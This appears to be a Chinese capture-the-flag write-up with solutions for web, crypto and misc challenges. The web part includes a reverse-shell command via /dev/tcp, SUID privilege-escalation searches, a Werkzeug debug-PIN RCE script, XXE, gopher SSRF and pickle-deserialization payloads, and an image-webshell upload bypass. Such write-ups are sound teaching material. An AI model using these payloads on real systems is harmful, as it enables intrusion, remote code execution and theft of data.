week2

web

hello_include

提示存在信息泄露,访问index.phps

1
2
3
4
5
6
7
8
9
10
11
12
<?php
echo "Hint: The source code contains important information that must not be disclosed.<br>";
$allowed = ['hello.php', 'phpinfo.php'];
if (isset($_POST['f1Ie'])) {
if (strpos($_POST['f1Ie'], 'php://') !== false) {
die('不允许php://');
}
include $_POST['f1Ie'];
} else {
include 'hello.php';
}

扫目录发现phpinfo.php,发现flag位置在/s3cr3t/f14g file:///s3cr3t/f14g 读文件。这里没大小写通配符,也可以Php://绕过

hello_shell

1
2
3
4
5
6
7
8
 <?php
highlight_file(__FILE__);
$cmd = $_REQUEST['cmd'] ?? 'ls';
if (strpos($cmd, ' ') !== false) {
echo strpos($cmd, ' ');
die('no space allowed');
}
@exec($cmd); // 没有回显怎么办?

cmd=ls%09/|tee%091.txt,读flag发现权限不够,读/readME提示提权

SUID提权命令

1
2
3
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

空格换成%09find%09/%09-user%09root%09-perm%09-4000%09-print%092>/dev/null|tee%092568.txt

1
2
3
4
5
6
7
8
9
/var/www/html/wc
/bin/su
/bin/mount
/bin/umount
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd

先反弹shellcmd=bash%09-c%09%22bash%09-i%09%3E%26%09/dev/tcp/ip/port%090%3E%261%22

注意到wc命令wc | GTFOBins

baby_pe

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from flask import Flask, request

app = Flask(__name__)


@app.route('/')
def index():
print(request.user_agent.string.lower().find("mozi"))
return open(__file__).read()


@app.route('/fileread')
def read_file():
filename = request.args.get('filename')
return open(filename).read()


if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0", port=8000)

开控制台那肯定想到PIN码rce,读取PIN码需要六个要素

  • username

    执行命令whoami可以看到,也可以由/etc/passwd来猜测

  • modname

    一般是flask.app

  • getattr(app, ‘name‘ getattr(app.class, ‘name‘))

    一般是flask

  • getattr(mod, ‘file‘, None)

    app.py的绝对路径,可以在debug界面看到

  • uuid.getnode()

    当前电脑mac地址的十进制,一般在/sys/class/net/eth0/address或者/sys/class/net/ens33/addressint(("02:42:c0:a8:e0:02".replace(':','')),16)

  • get_machine_id()

    读取/etc/machine-id或者/proc/sys/kernel/random/boot_id,docker环境需要读取/proc/self/cgroup最后一个/后面然后拼接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import hashlib
from itertools import chain
probably_public_bits = [
'app'# username
'flask.app',# modname
'Flask',# getattr(app, '__name__' getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.9/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'2485378416642',
'70d3d850-a8d2-4ff1-a285-34c4a401e57d'
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

输入PIN码后,发现权限不够,先反弹shell,然后就是SUID find提权

baby_xxe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from flask import Flask,request
import base64
from lxml import etree
app = Flask(__name__)

@app.route('/')
def index():
return open(__file__).read()


@app.route('/parse',methods=['POST'])
def parse():
xml=request.form.get('xml')
print(xml)
if xml is None:
return "None"
parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
root = etree.fromstring(xml, parser)
name=root.find('name').text
return name or None



if __name__=="__main__":
app.run(host='0.0.0.0',port=8000)

简单xxe

1
2
3
4
5
6
import requests

url = "http://47.76.151.192:60088/parse"
xml_data = '''<?xml version="1.0"?><!DOCTYPE xxx[<!ENTITY b SYSTEM "file:///flag">]><xxx><name>&b;</name></xxx>'''
response = requests.post(url, data={"xml": xml_data})
print(response.text)

baby_ssrf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from flask import Flask, request
import os
from urllib.parse import urlparse, urlunparse
import subprocess
import socket

app = Flask(__name__)
BlackList=[
"127.0.0.1"
]

@app.route('/')
def index():
return open(__file__).read()


@app.route('/cmd',methods=['POST'])
def cmd():
if request.remote_addr != "127.0.0.1":
return "Forbidden"
if request.method == "GET":
return "Hello World!"
if request.method == "POST":
return os.popen(request.form.get("cmd")).read()


@app.route('/visit')
def visit():
url = request.args.get('url')
if url is None:
return "No url provided"
url = urlparse(url)
realIpAddress = socket.gethostbyname(url.hostname)
if url.scheme == "file" or realIpAddress in BlackList:
return "Hacker!"
result = subprocess.run(["curl","-L", urlunparse(url)], capture_output=True, text=True)
# print(result.stderr)
return result.stdout


if __name__ == '__main__':
app.run(host='0.0.0.0',port=8000)

先提一下-L这个参数,-L会让http请求跟随服务器的重定向,而curl命令是默认不跟随重定向的

这里127.0.0.1被ban了,可以用sudo.cc这个域名,是解析到127.0.0.1的

这里的难点在于向http://127.0.0.1:8000/cmd发POST包,不太懂怎么用重定向做,所以用gopher协议

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from urllib.parse import quote_plus
import urllib

tcp_body = """POST /cmd HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

cmd=env
"""


tmp = quote_plus(tcp_body)
payload = tmp.replace('%0A','%0D%0A')
result = 'gopher://sudo.cc:8000/'+'_'+payload
result = urllib.parse.quote(result)
print(result) # 这里因为是GET请求所以要进行两次url编码

baby_pickle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import pickle
from flask import Flask, request
from base64 import b64decode

app = Flask(__name__)
UserPool = {}
BlackList = [b'\x00', b'\x1e', b'system', b'popen', b'os', b'sys', b'posix']


class User:
username = None
password = None


@app.route('/')
def index():
return open(__file__).read()


@app.route('/login', methods=['POST'])
def login():
data = request.form.get('data')
if data is not None:
opcode = b64decode(data)
for word in BlackList:
if word in opcode:
return "Hacker!"
user = pickle.loads(opcode)
print(user)
return "<h1>Hello {}</h1>".format(user.username)
else:
username = request.form.get('username')
password = request.form.get('password')
if username in UserPool.keys() and password == UserPool[username].password:
return "<h1>Hello {}</h1>".format(User.username)


@app.route('/register', methods=['POST'])
def register():
username = request.form.get('username')
password = request.form.get('password')
if username in UserPool.keys():
return "<h1>用户{}已存在</h1>".format(username)
UserPool[username] = password
return "<h1>注册成功</h1>"


if __name__ == '__main__':
app.run(host="0.0.0.0", port=2333)

不难看出反序列化的回显位是user.username,但是这需要实例化User对象,所以也就得手搓opcode

如果不太会搓的话可以先把实例化User对象的opcode用pickletools.optimize(pickle.dumps())生成出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import pickle
import pickletools

class User:
username = None
password = None

def __init__(self, username) -> None:
self.username = username

# def __reduce__(self):
# s = "__import__('o'+'s').getenv('FLAG')"
# return (eval, (s,))

user = User("notlus")
opcode = pickletools.optimize(pickle.dumps(user, protocol=0))
print(opcode.decode())
"""ccopy_reg
_reconstructor
(c__main__
User
c__builtin__
object
NtR(dVusername
Vnotlus
sb."""

然后再把含有恶意代码的opcode生成出来

1
2
3
4
"""c__builtin__
eval
(V__import__('o'+'s').getenv('FLAG')
tR."""

然后把两段拼接起来,然后再base64编码

1
2
3
4
5
6
7
8
9
10
11
12
13
from base64 import b64encode
opcode=b"""ccopy_reg
_reconstructor
(c__main__
User
c__builtin__
object
NtR(dVusername
c__builtin__
eval
(V__import__('o'+'s').getenv('flag')
tRsb."""
print(b64encode(opcode))

picture

upload.php会检测上传的是否为jpg文件,所以得用图片马copy evil.jpg/b+shell.php/a a.jpg

burp对图片的编码有好像问题,所以用burp发包过不了jpg图片检查(让我一度以为这题只设了jpg一个白名单,但实际上题目并没有限制文件后缀,只过滤了.php)

所以改用python,把文件后缀改为.phtml,.phP这种大写绕过不知道为啥不行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

def upload_image(image_path, upload_url):

with open(image_path, 'rb') as image_file:
files = {'file': (image_file.name, image_file, 'image/jpeg')}

try:
response = requests.post(upload_url, files=files)
if response.status_code == 200:
print('服务器响应:', response.text)
else:
print('图片上传失败')
print('响应内容:', response.text)

except requests.exceptions.RequestException as e:
print('发生错误:', e)

image_path = './a.phtml'
upload_url = 'http://8.130.84.100:50003/upload.php'

upload_image(image_path, upload_url)

crypto

baby_LFSR

128位的密钥流,把为1的位数全部找出来即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from functools import reduce

Mask_seed = 245818399386224174743537177607796459213
randbits1 = 103763907686833223776774671653901476306
randbits2 = 136523407741230013545146835206624093442


def int_to_binarray(num):
bin_str = str(bin(num))[2:]
print(len(bin_str))
list = []
for i in bin_str:
list.append(i)
PadLenth = 128 - len(list)
for i in range(PadLenth):
list[:0] = ['0']
return list


def dec(c1, mask):
state = []
tmp = c1.copy()#把c1赋值给tmp
xor_site = []
for i in range(len(mask)):
if mask[i] == "1":
xor_site.append(i) # 参与异或操作的数组下标
xor_site = xor_site[1:] # 排除掉第一个下标0的元素
c1_rev = c1[::-1]
for j in range(len(mask)):#数组的添加顺序>>
tmp.pop()#删掉末尾元素
tmp[:0] = "?"

xor_elements = [int(tmp[i]) for i in xor_site if i < len(tmp)]
result = reduce(lambda x, y: x ^ y, xor_elements) # 本质上是为了得到第0位
result ^= int(c1_rev[j])
state.append(result)

tmp[0]=result
return state[::-1]


mask = int_to_binarray(Mask_seed)
c1 = int_to_binarray(randbits1)

c2 = int_to_binarray(randbits2)
seed_list = (dec(c1, mask))
seed_str = ''.join([str(i) for i in seed_list])
print(int(seed_str,2))

Diffie-Hellman

DH密钥交换协议,我直接在给出的proof.py里交互了。先算出Bob的公私钥,然后发送公钥,并用Alice的公钥计算共享密钥,最后对ct进行aes解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from Crypto.Util.number import *
from random import randint
from hashlib import md5
from Crypto.Cipher import AES

def MD5(m):return md5( str(m).encode() ).digest()

q, g = 231729621296943745537732611544319081171, 429603071437807747660650115846394665687
Alice_PubKey = 106152635529536977128587145523998509477
ct = '99cd8b37bb76e6508aed704697c261f099a00367ba2675e29066105acb4b1dbfce13a08991f16d15953c465a1ea984ad'
#Bob_PriKey = randint(1, q)#step1
#Bob_PubKey = pow(g, Bob_PriKey, q)#step1

Bob_PriKey = 150749250965210843287140631294635712931#step2
Bob_PubKey = 177541133576021232732896044664090530038#step2
print(Bob_PubKey,Bob_PriKey)
share_key = pow(Alice_PubKey, Bob_PriKey, q)
cipher = AES.new(MD5(share_key), AES.MODE_ECB)
flag = cipher.decrypt(bytes.fromhex(ct))
print(flag)

RSA-IV

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from Crypto.Util.number import getPrime, inverse, bytes_to_long

def challenge0(m):
p = getPrime(150)
q = getPrime(150)
N = p * q
e = 3
c = pow(m, e, N)
return (N, e, c)

def challenge1(m):
p = getPrime(64)
q = getPrime(64)
N = p * q
e = 0x10001
dp = inverse(e, p-1)
c = pow(m, e, N)
return (N, e, c, dp)

def challenge2(m):
p = getPrime(64)
q = getPrime(64)
N = p * q
phi = (p-1) * (q-1)
d = getPrime(21)
e = inverse(d, phi)
c = pow(m, e, N)
return (N, e, c)

def challenge3(m):
p = getPrime(64)
q = getPrime(64)
N = p * q
e = getPrime(127)
c = pow(m, e , N)
e_= getPrime(127)
c_= pow(m, e_, N)
return (N, e, c, e_, c_)

由0到3分别是低指数攻击、dp泄露、维纳攻击、共模攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
from string import ascii_letters, digits
from hashlib import sha256
from itertools import product
from pwn import *

context(log_level="debug")
import ast
import gmpy2
import libnum

ip = "118.195.138.159" # 要netcat的ip
port = 10003 # 端口
io = remote(ip, port)


def proof():
io.recvuntil(b"XXXX+")
proof = io.recvuntil(b")")[:-1]
io.recvuntil(b"== ")
hash = io.recvuntil(b"\n")[:-1].decode()
dict = ascii_letters + digits
for word in product(dict, repeat=4):
word = "".join(word).encode()
if sha256((word + proof)).hexdigest() == hash:
break
io.sendlineafter(b"XXXX: ", word)


def solution0():
io.recvuntil(b"input choice:\n")
io.sendafter(b">", b"0\n")
task = io.recvuntil(b"\n").decode()
(N, e, c) = ast.literal_eval(task)

# 低指数攻击
k = 0
ans = 0
while True:
m = c + N * k
result, flag = gmpy2.iroot(m, e)
if True == flag:
ans = result
break
k += 1
io.sendlineafter(b">", str(ans).encode())


def solution1():
io.recvuntil(b"input choice:\n")
io.sendafter(b">", b"1\n")
task = io.recvuntil(b"\n").decode()
(N, e, c, dp) = ast.literal_eval(task)

# dp泄露
ans = 0
for i in range(1, e):
if (dp * e - 1) % i == 0:
p = (dp * e - 1) // i + 1
if N % p == 0:
q = N // p
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
ans = pow(c, d, N)
io.sendlineafter(b">", str(ans).encode())


def solution2():
io.recvuntil(b"input choice:\n")
io.sendafter(b">", b"2\n")
task = io.recvuntil(b"\n").decode()
(N, e, c) = ast.literal_eval(task)

# 维纳攻击
def transform(x, y): # 使用辗转相处将分数 x/y 转为连分数的形式
res = []
while y:
res.append(x // y)
x, y = y, x % y
return res

def continued_fraction(sub_res):
numerator, denominator = 1, 0
for i in sub_res[::-1]: # 从sublist的后面往前循环
denominator, numerator = numerator, i * numerator + denominator
return denominator, numerator # 得到渐进分数的分母和分子,并返回

# 求解每个渐进分数
def sub_fraction(x, y):
res = transform(x, y)
res = list(
map(continued_fraction, (res[0:i] for i in range(1, len(res))))
) # 将连分数的结果逐一截取以求渐进分数
return res

def get_pq(a, b, c): # 由p+q和pq的值通过维达定理来求解p和q
par = gmpy2.isqrt(b * b - 4 * a * c) # 由上述可得,开根号一定是整数,因为有解
x1, x2 = (-b + par) // (2 * a), (-b - par) // (2 * a)
return x1, x2

def wienerAttack(e, n):
for d, k in sub_fraction(
e, n
): # 用一个for循环来注意试探e/n的连续函数的渐进分数,直到找到一个满足条件的渐进分数
if k == 0: # 可能会出现连分数的第一个为0的情况,排除
continue
if (
e * d - 1
) % k != 0: # ed=1 (mod φ(n)) 因此如果找到了d的话,(ed-1)会整除φ(n),也就是存在k使得(e*d-1)//k=φ(n)
continue

phi = (e * d - 1) // k # 这个结果就是 φ(n)
px, qy = get_pq(1, n - phi + 1, n)
if px * qy == n:
p, q = abs(int(px)), abs(
int(qy)
) # 可能会得到两个负数,负负得正未尝不会出现
d = gmpy2.invert(
e, (p - 1) * (q - 1)
) # 求ed=1 (mod φ(n))的结果,也就是e关于 φ(n)的乘法逆元d
return d
print("该方法不适用")

d = wienerAttack(e, N)
ans = pow(c, d, N)
io.sendlineafter(b">", str(ans).encode())


def solution3():
io.recvuntil(b"input choice:\n")
io.sendafter(b">", b"3\n")
task = io.recvuntil(b"\n").decode()
(N, e, c, e_, c_) = ast.literal_eval(task)

# 共模攻击
s0, s, s_ = gmpy2.gcdext(
e, e_
) # (具体来说,gmpy2.gcdext 函数返回三个值:最大公约数 s 以及满足等式 s = s1 * e1 + s2 * e2 的系数 s1 和 s2。)(e1*s1+e2*s2 = 1)
m = (pow(c, s, N) * pow(c_, s_, N)) % N
ans = str(m).encode()
io.sendlineafter(b">", ans)


proof() # 交验证码

solution0()
solution1()
solution2()
solution3()

io.close()

RC4

把密文和明文异或就能得到密钥流,拿到密钥流后再和flag的密文异或

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from string import ascii_letters, digits
from hashlib import sha256
from itertools import product
from pwn import *
context(log_level = 'debug')

from os import urandom

ip = '118.195.138.159' #要netcat的ip
port = 10001 #端口
io = remote(ip,port)

def proof():
io.recvuntil(b'XXXX+')
proof = io.recvuntil(b')')[:-1]
io.recvuntil(b'== ')
hash = io.recvuntil(b'\n')[:-1].decode()
dict = ascii_letters + digits
for word in product(dict, repeat=4):
word = ''.join(word).encode()
if sha256( (word+proof) ).hexdigest() == hash: break
io.sendlineafter(b'XXXX: ',word)


if __name__ == '__main__':

proof() #交验证码
io.recvuntil(b'Give me the text you want to encrypt:\n')
text=urandom(44)#加密后的flag长度为44字节
h=text.hex()
io.sendlineafter(b'>',str(h).encode())
io.recvuntil(b'c = ')
enc_data=io.recvuntil(b'\n')[:-1].decode()
enc_bytes=bytes.fromhex(enc_data)
keystream=b''
for i in range(len(enc_bytes)):
keystream+=int.to_bytes(enc_bytes[i]^text[i])#还原密钥流

io.recvuntil(b'c = ')
enc_flag=io.recvuntil(b'\n')[:-1].decode()
flag=b''
enc_flag_bytes=bytes.fromhex(enc_flag)
for i in range(len(enc_flag_bytes)):
flag+=int.to_bytes(enc_flag_bytes[i]^keystream[i])#还原flag
print(flag)

misc

我叫曼波

按encode.py文件逆向解密即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from os import urandom
from util import *
from Crypto.Util.number import *
from base64 import b64decode

from pwn import *
context(log_level = 'debug')

ip = '47.98.178.117' #要netcat的ip
port = 1111 #端口
io = remote(ip,port)

def decode_solution():#还原base64编码
key = 0
hakimi_secret = ''
enc_data = ''
result = ''
io.recvuntil(b'Please input your choice and MANBO will make a series of corresponding behavioral responses.\n')
for i in range(0, 1000):
sign = (i % 3) + 1
io.sendlineafter(b'> ', str(sign).encode())
if sign == 2:
key = io.recvuntil(b'\n')[:-1].decode()#接收RC4秘钥
print(key)
elif sign == 3:
hakimi_secret = io.recvuntil(b'\n')[:-1].decode()#接收密文
enc_data = decode(hakimi_secret)
result += RC4_decrypt(enc_data, key)#RC4解密
print(result)
return result
def RC4_decrypt(enc_data, K):
S = [0] * 256
T = [0] * 256
for i in range(0,256):
S[i] = i
T[i] = K[i % len(K)]

j = 0
for i in range(0,256):
j = (j + S[i] + ord(T[i])) % 256
S[i], S[j] = S[j], S[i]

i = 0
j = 0

cipher = []
for s in enc_data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
t = (S[i] + S[j]) % 256
k = S[t]
cipher.append(chr(ord(s) ^ k))
return (("".join(cipher).encode())).decode()

def decode(enc_text):
encode_text = enc_text.replace("曼波", "0").replace("哦耶", "1").replace("哇嗷", "2")#还原为三进制字符串
ternary_str = encode_text
result = ''
for i in range(len(ternary_str)//5):
tmp = ternary_str[i*5:i*5+5]#每段三进制字符串长度为5
decimal_number = int(tmp, 3)#三进制转为十进制
result += chr(decimal_number)#还原为ascii码
result = b64decode(result).decode()
return result



if __name__ == '__main__':
decode_solution()